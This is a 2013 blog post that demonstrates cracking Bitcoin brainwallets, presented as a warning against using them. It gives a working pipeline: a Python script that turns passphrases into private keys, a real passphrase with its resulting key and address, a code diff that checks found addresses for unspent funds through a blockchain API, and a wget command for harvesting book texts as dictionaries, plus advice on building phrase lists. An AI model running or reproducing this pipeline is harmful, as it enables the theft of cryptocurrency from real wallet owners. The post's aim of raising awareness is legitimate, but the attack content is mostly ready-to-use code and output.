How to crack brainwallets

Well… there are people who used Brainwallets to keep their BTCs under a single password. They have lost a lot. 4BTC… or even more. Brainwallet was described by Forbes in… 2012 The Ultimate in Mobile Money. But it was in 2012. It’s November 2013 right now and the situation has changed.

Brainwallets are not a solution right now. Not at all. Just because you think no one will ever break your password, you must know, someone surely will, and I am going to convince you. I will show you how easy it is to steal BTC from a Brainwallet. As you can see in the first example, a redditor writes: “The pass phrase was a line from an obscure poem in Afrikaans“.

Wow! His passpharse to generate a BW was a line from an obscure poem in Afrikaans! At that time (20:43 3 Nov 2013) BTC cost about 226$, so this guy lost over 900$ by choosing wrong method of creating a BTC wallet.

I’m going to show you how easy it is to “spoof” a BTC private key (and BTC address ofc) by using only published data.

1. Script to generate BTC private key from a passpharse. After a few seconds in Google, I found this. A python script which is nearly ready to run and start stealing.

Even better. This script can read lines from a txt file and generate the private key:

   181. parser.add_argument('-f', metavar='FILE', type=open, dest='dict_file')

Let’s try this script with a passpharse given in the second reddit link:

agilob:brain/ $ python bw.py "it's a secret to everybody"
it's a secret to everybody ('19BZ1b3GifduLP22DmHP3np7W8nMBgdRuh', '5J3z3YTMwh7x8zCg6VyFavAqijuo3GYA1WQtnAHxqgY6SzZAVmr')

This gave us a private key and BTC address. You can check on https://blockchain.info if this address really exists, see past transactions and… current balance. Current balance is 0BTC, but this address used to have 1.6BTC.

2. Let’s import this private key to your Bitcoin-Qt wallet to prove, that I can see two transactions in my local wallet. If you have imported that key to your wallet, you must rescan EVERY SINGLE BLOCK to see final balance and a list of transactions:

bitcoin-qt -rescan

It will take a while…brainwallet

Success!

Ok. We don’t want to import the key every time we generate one, and we obviously don’t want to rescan all blocks. Before importing any key, we must check if the address has any BTC on it. Blockchain has a JSON API to download data about any address. If it doesn’t contain anything, you will see “No free outputs to spend”, like it’s here. So I modified the python script to use the API to check if generated address has anything…

agilob:brain/ $ diff brainwallet.py bw.py -wi
10,12d9
< import urllib2
< from urllib2 import urlopen
< import json
218,235c215
<         #print passphrase, addr
<       get_unspent(addr)
< 
< 
< def get_unspent(addr):
<     url = "https://blockchain.info/unspent?active="+addr[0]+"&format=json"
<     try:
<         jsonurl = urlopen(url)
<         text = json.loads(jsonurl.read())
<     
<         sum = 0.0
<         for output in text['unspent_outputs']:
<           sum += output['value']
<             print addr
<             print sum
< 
<     except urllib2.URLError:
<         print "error or empty file"
---
>         print passphrase, addr
239d218
<

This additional method will check if the JSON response contains proper JSON structure, if so, it will sum-up how many BTC there are and print the address, private key and the sum.

3. You need amazing dictionaries right now… You can get the Gutenberg project as offline txt files:

agilob:dict/ $ wget -H -w 2 -m http://www.gutenberg.org/robot/harvest?filetypes[]=txt 
> --referer="http://www.google.com" 
> --user-agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6" 
> --header="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5" 
> --header="Accept-Language: en-us,en;q=0.5" 
> --header="Accept-Encoding: gzip,deflate" 
> --header="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" 
> --header="Keep-Alive: 300"

4. You have gigabytes of txt dictionaries now. In several languages. Use your imagination what you can do with that. Make a dictionary of all:

sentences (split on ‘.’)
lines (split on ‘n’)
combine words randomly

5. This is only a working proof of concept. The purpose of this post is to show you how easy it is to spoof your wallet and steal your Bitcoins. If you’ve just learned how to do that… don’t lie to yourself ;) You won’t steal anything (but, surely, there are people who do!), and that’s why:

1. You don’t have enough experience in this area
2. You don’t have enough dictionaries
3. This is in python… it’s very slow, it uses JSON API… to speed it up, you would have to write it in C, use local database of blocks, etc. etc. etc.

6. I think I convinced you. Save your money, save your BTC/LTC/whatever… You can see, stealing your private address is easier than you would expect. Do NOT use brainwallet.